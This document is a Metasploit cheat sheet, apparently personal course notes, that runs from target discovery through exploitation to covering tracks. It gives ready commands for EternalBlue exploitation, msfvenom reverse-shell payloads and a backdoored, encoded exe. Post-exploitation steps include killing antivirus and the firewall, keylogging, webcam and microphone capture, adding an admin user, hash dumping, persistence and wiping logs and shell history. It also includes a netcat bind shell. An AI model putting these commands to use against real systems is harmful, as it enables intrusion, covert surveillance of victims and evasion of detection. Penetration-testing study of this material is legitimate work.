Notes from "learn the Metasploit Framework inside out"

H3xFiles
Twitter: @MindwarelabBot
www.mindwarelab.org

August 2019

Contents

2.1 Other commands

history to check the commands history
get to get current local sessions
getg to get global session
spool off write console output into a file as well the screen

3 Working with workspaces

To create a new workspace in metasploit type workspace -a <name>, then you can check the workspaces available with workspace -v check the active worksapces
or delete one with the command workspace -d. Each work space has its own history, jobs, sessions, vulns, hosts and notes. For full list of commands as usual check help. To export the all the info saved in the workspace db_export -f xml <path/filename>

4 Connect to a shell with metasploit

You can connect to a shell normally like a linux terminal using the command connect. In order to test this command open a terminal and type nc -nlvp 4444 -e /bin/bash to open a temporary shell with netcat. Then, from the metasploit terminal type connect localhost 4444.

5 Gather information

Information Gathering and getting to know the target systems is the first process in ethical hacking. Reconnaissance is a set of processes and techniques (Footprinting, Scanning Enumeration) used to covertly discover and collect information about a target system.
During reconnaissance, an ethical hacker attempts to gather as much information about a target system as possible, following the seven steps listed below:
- Gather initial information
- Determine the network range
- Identify active machines
- Discover open ports and access points
- Fingerprint the operating system
- Uncover services on ports
- Map the network

5.1 Zmap: in search for a victim

A reverse way to gather information is to find first the CVE and the vulnerable web-service, and on which rport the service is listening. To do so, we can use:

search type:exploit cisco CVE:2019 and after use exploit/linux/http/cpi_tararchive_upload, we can examine the exploit information. In this case the port 8082 seems to be TCP port on which the health monitor is listening. After we have this information we can search on Shodan or using Zmap zmap -B 50M -p 8082 -n 10000000 -dryrun -o results.csv. Zmap is not coming with kali and need to be installed sudo apt install zmap.

5.2 Scan with Namp

Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service up time. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. The potential of Nmap are enormous, and there are entire courses dedicated to information gathering with Nmap. But let's see Nmap in respect of metasploit. db_nmap -Pn -sT -p- -sV -sC -O <ip> -oX <ip>_nmap.xml, this scan is a no ping scan, OS detection, script over the services, all ports. Everything is saved in our workspace. Other useful command on Kali is netdiscover.

5.3 Nessus module

After using nmap, Nessus is another important tool to gather information on the machine and its vulnerabilities. Nessus is a commercial application, but support a community edition not suitable for professional use. First you need to register giving of course fake information like temporary email and fake name and continue downloading the product. dpkg -install Nessus-x.x.x-debian.deb, then /etc/init/init.d/nessus start and check using the command service nessusd status. To check on which port is running netstat -ap | grep nessus. After than you need to open the browser and go to https://localhost:<portnumber> and follow the account creation.
Useful command list for nessus:
- /opt/nessus/sbin/nessuscli luser to check a list of users.
- /opt/nessus/sbin/nessuscli adduser add a new user
- /opt/nessus/sbin/nessuscli chpasswd change password
- nessus_connect usr:pwd@localhost:port connect to nessus
- nessus_scan_new <policy_name> <title> <descr> <ip> Add New scan. Ps: you need to create the policy first.
- nessus_scan_launch <id> Start to scan
- nessus_scan_list list of scans
- nessus_db_import <id> save in a workspace. id is from the list of scans

- load nessus
- help nessus
- grep nessus history

After you can use the usual command vulns to check all the vulnerabilities found on the target and from there continue your hacking session.

6 Auxiliary modules

The Metasploit Framework includes hundreds of auxiliary modules that perform scanning, fuzzing, sniffing, and much more. Although these modules will not give you a shell, they are extremely valuable when conducting a penetration test.

6.1 Reverse shell server

In this case we want the victim to click on a file, it will perform an outbound request, which is usually not blocked, and you will be able to connect to the victim machine. To receive the connection back from the victim go to `use multihandler`, then `set payload windows/shell/reverse_tcp`, `setg lhost<ip>`, `setg lport <port number>`, `run`.

7 Exploitation

7.1 searching the exploit: searchsploit

Searchsploit is an easier and faster way to search for an exploit and to do so there are several ways to do it. `searchsploit -t <name application> <os type>`
To know more about an exploit you can use `searchsploit <exploit number> -examine` or `searchsploit -x <exploit number>` To use the result of nmap `nmap -sV 192.168.1.102 -oX result.xml` you can use `searchsploit -x -nmap result.xml`. In order to access more information you can use the flag `searchsploit <name> -w`

7.2 searching the exploit: search type: exploit

Another method is using the command `search type:exploit <name> <system> CVE:<years>`.

7.3 Configure the exploit

Start searching for the exploit you are interested `search type:exploit eternal` or using searchsploit in this case for example we look for the *eternal blue* exploit for windows. Then, when you have the path of the exploit you are looking for use `use exploit/windows/smb/ms17/_010_eternal_blue`. After you are inside the module you can type info to get options and general info about the exploit. You can type `options` or `advanced` to the basic options that the exploit has to offer and a brief explanation. To set the *rhost* or remote host type `set rhost <ip>`. If you want to check if the target is vulnerable without attacking it yet you can use the command `check`. In order to use more than one exploit at the time, you might want to push the exploit session to the "stack" with the command `pushm`, then you can use another exploit. To fast return to the previous exploit type `previous` or `popm`. In case you need to code editing an exploit you can use `edit` from inside the exploit module after using `use`.

7.4 Payloads

The payload is a piece of code executed as result of a successful exploitation. Usually, the payload is encrypted to avoid that AV or other defensive tools can understand the meaning of that piece of code. A payload can contain the code to open a remote shell on the victim computer, RAT tools, key loggers, ... anything that call back the attacking machine. This is due that many AV solutions and protections tools only protect from the outside, but are blind if the victim machine try to call back itself an external server. Once inside the exploit type `show payloads`, then `set <name of the payload>` and `set rhost <ip>`, `set lhost <ip>` and `set lport <number port>` the port can be for example 4444. After that you can use `check` or `run -j`, the `-j` parameter is to run the exploit in the background. To have a list of all the running exploit type `jobs -i`.

7.5 Msfvenom

MsfVenom is a Metasploit standalone payload generator as a replacement for msfpayload and msfencode. In this example we are generating a reverse shell payload for linux, open a new tab on the terminal in Kali and type `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > example.elf`. After that make it runnable with `chmod +x exploit_name` and run it with `./exploit_name`. You can go back to the metasploit framework terminal and type `sessions` to see the background job. Other important commands for msfvenom is to check which type of payload you have for a determinate exploit `msfvenom -payload linux/x86/meterpreter/reverse_tcp -payload-options`, `msfvenom -help-format`, `msfvenom -help-platforms`, `msfvenom -list payloads | grep php`.

8 Meterpreter: post exploitation

By now, you should be having a Meterpreter shell. So, it is time to do something from the inside. Meterpreter has all the “basic” features one would expect from a penetration testing tool. These include access to a command shell, running executable, sending and receiving files and profiling the network. But it can do much more than that. Taking screenshots, key-logging, port forwarding and privilege escalation are only a few of its capabilities. Moreover, it can load various in-memory modules such as Mimikatz for dumping hashes and plaintext passwords. Meterpreter itself resides entirely in memory, writes nothing to disk, and creates no new processes. Instead, it injects itself into compromised processes and can also migrate from one to another as necessary. If you need to put in the background to work on something else use the command `background`. To back to the session is `session <number>`. Once, inside you want to know which type of privileges you have, to do so type `getuid`, 0 == root. To drop a shell to navigate the system just type `shell`, all the commands will be available like a normal system depending on the privilege level. To exit type `exit` it won't kill the Meterpreter. To know more about the system ... as you may already guessed type `sysinfo`. Typing `help` you can see all the funny stuff you can do on the machine, and don't worry it works on Windows and Linux machines interchangeably.

8.1 How to migrate

When you are inside you want migrate to a less visible process, such as explorer.exe [3]

```
ps
migrate <PID>
shell
```

8.2 Monitoring the target victim

Once you are inside the target victim is time to do the job you are came from extracting information or monitoring the victim. 1) kill the AV:

```
background
search type:post killav
use post/windows/manage/killav
sessions
set session <number>
run
netsh advfirewall set currentprofile state off
```

2) Screenshots:
You could setup a script to periodically take a screenshot or depening on the input enable the screenshot taking.

```
screenshot
```

3) Keylogging

```
keyscan start
keyscan dump
keyscan stop
```

4) Screen monitoring

```
run vnc -i
```

5) Webcam and microphone

```
webcam_list
webcam_chat
webcam_stream
record_mic
```

6) Disable keyboard or mouse

```
uictl disable keyboard
uictl disable mouse
```

7) Add a user:

```
net user <username> <password> /add
net localgroup administators <username> /add
```

8) Connect to remote Desktop:

```
rdesktop -u <username> -p <password> <ip>:3389
```

9 Privilege escalation

When you first enter a system is not always the case you are already have root, therefore you need to work your way up using various methods. To know your current privilege level type `getuid`. Meterpreter has an integrate way to try to escalate typing `getsystem` (only for Windows). If this does not work you could try to fish his credential with `post/windows/phish_windows_credentials`.

9.1 Enumeration

Enumeration is defined as the process of extracting user names, machine names, network resources, shares and services from a system. The goal is to find vulnerable software, files, passwords, services and have a full map of the system. For this mission type `background` and `search type: post enum_applications`. After as usual use that with the keyword `use`, set the session and run it.

9.2 cracking hashes

To gather the hashes use `use post/windows/gather/hashdump`, then we use jtr typing `auxiliary/analyze/jtr_crack_fast`. Then, `loot` and `creds` to check the result.

10 Persistence

From inside meterpreter use `run persistence -U -i 120 -p 31337 -r <your IP>` `set payload windows/meterpreter/reverse_tcp`, `set port 31337`, `run`.

11 Cleaning up

```
clearev
```

Clean up logs on linux:

```
run event_manager -i,
kwrite /var/log/messages,
more ~/.bash_history,
export HISTSIZE=0,
shred -zu root/.bash_history
```

Clean up logs on Win:

```
use post/windows/manage/sdel
clearlogs.exe -sec,
https://github.com/D4Vinci/Dr0p1t-Framework/blob/master/resources/Clearev.py
```

12 Msfvenom Extra

In case Msfvenom isn't enough try https://github.com/Veil-Framework/Veil payload generator and then https://github.com/xoreaxeaxeax/movfuscator to obfuscate the code.

12.1 Binary

Creates a simple TCP Payload for Windows: [2]

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
```

Creates a simple HTTP Payload for Windows:

```
msfvenom -p windows/meterpreter/reverse_http LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
```

Creates a simple TCP Shell for Linux:

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f elf > example.elf
```

Creates a simple TCP Shell for Mac:

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} -f macho > example.macho
```

Create a simple TCP Payload for Android:

```
msfvenom -p android/meterpreter/reverse/tcp LHOST={DNS / IP / VPS IP} LPORT={PORT / Forwarded PORT} R > example.apk
```

12.2 Windows payloads

Lists all avalaible encoders: [2]

```
msfvenom -l encoders
```

Binds an exe with a Payload (Backdoors an exe):

```
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS
/ IP / VPS IP} LPORT={PORT / Forwarded PORT} -f exe > example.exe
```

Creates a simple TCP payload with shikataganai encoder:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP}
LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai -b ‘\x00’ -i 3
-f exe > example.exe
```

Binds an exe with a Payload and encodes it:

```
msfvenom -x base.exe -k -p windows/meterpreter/reverse_tcp LHOST={DNS
/ IP / VPS IP} LPORT={PORT / Forwarded PORT} -e x86/shikata_ga_nai
-i 3 -b "\x00" -f exe > example.exe
```

12.3 Web Payload

Creates a Simple TCP Shell for PHP: [2]

```
msfvenom -p php/meterpreter_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT
/ Forwarded PORT} -f raw > example.php
```

Creates a Simple TCP Shell for ASP:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST={DNS / IP / VPS IP}
LPORT={PORT / Forwarded PORT} -f asp > example.asp
```

Create a Simple TCP Shell for Javascript:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT
/ Forwarded PORT} -f raw > example.jsp
```

Create a Simple TCP Shell for WAR:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST={DNS / IP / VPS IP} LPORT={PORT
/ Forwarded PORT} -f war > example.war
```

13 Scripting

You can automate metasploit with scripts. `vim <name>` and place all the list of commands in order you ould execute manually. `use multi/handler` and then `set payload linux/x64meterpreter/reverse_tcp`,`set lhost <ip> set lpost<number>`. To get in and out the console you can use `ctrl-z` to send it in background and `fg` to bring the msf console back in foreground.To run it type `resource <name>` or `msfconsole -resource <name>`. You can check then with `jobs` and kill it with `Kill -K`. If you want to record the commands you used and save it into a file you can use `makerc <name>`.

14 Section reference

Find ip address `hostname -I`.
Use exploit `use exploit/targetServicename/type/exploitName`
Show basic options `show options`
Show advance Options `show advanced`
Set a remote host `set RHOST <ip>’`
Set a remote port `set RPORT port <number>`

Set a local host `set LHOST <ip>`
Set a local port `set LPORT Port <number>`
Check if the target is vulnerable `check'`
Set local active connection `set SESSION <number>`
Get current session `get session`
Set global active connection `setg SESSION <number>`
Unset global session `unsetg SESSION`
Kill specific connection `sessions -k <number>`
Kill all the connections `sessions -K`
find an exploit `searchsplouit ruby on rails`
Examine an exploit `searchsplouit -x number.rb`
`dirb https://<ip:port> -S -w /usr/share/wordlists/dirb/common.txt`

References

[1] Sans cheat sheet `https://www.sans.org/security-resources/sec560/misc`$_{t}ools_{s}heet_{v}1.pdf$

[2] Msfvenom Cheat Sheet `https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/`

[3] How to migrate to another process `https://jlajara.gitlab.io/posts/2018/11/26/process-migration`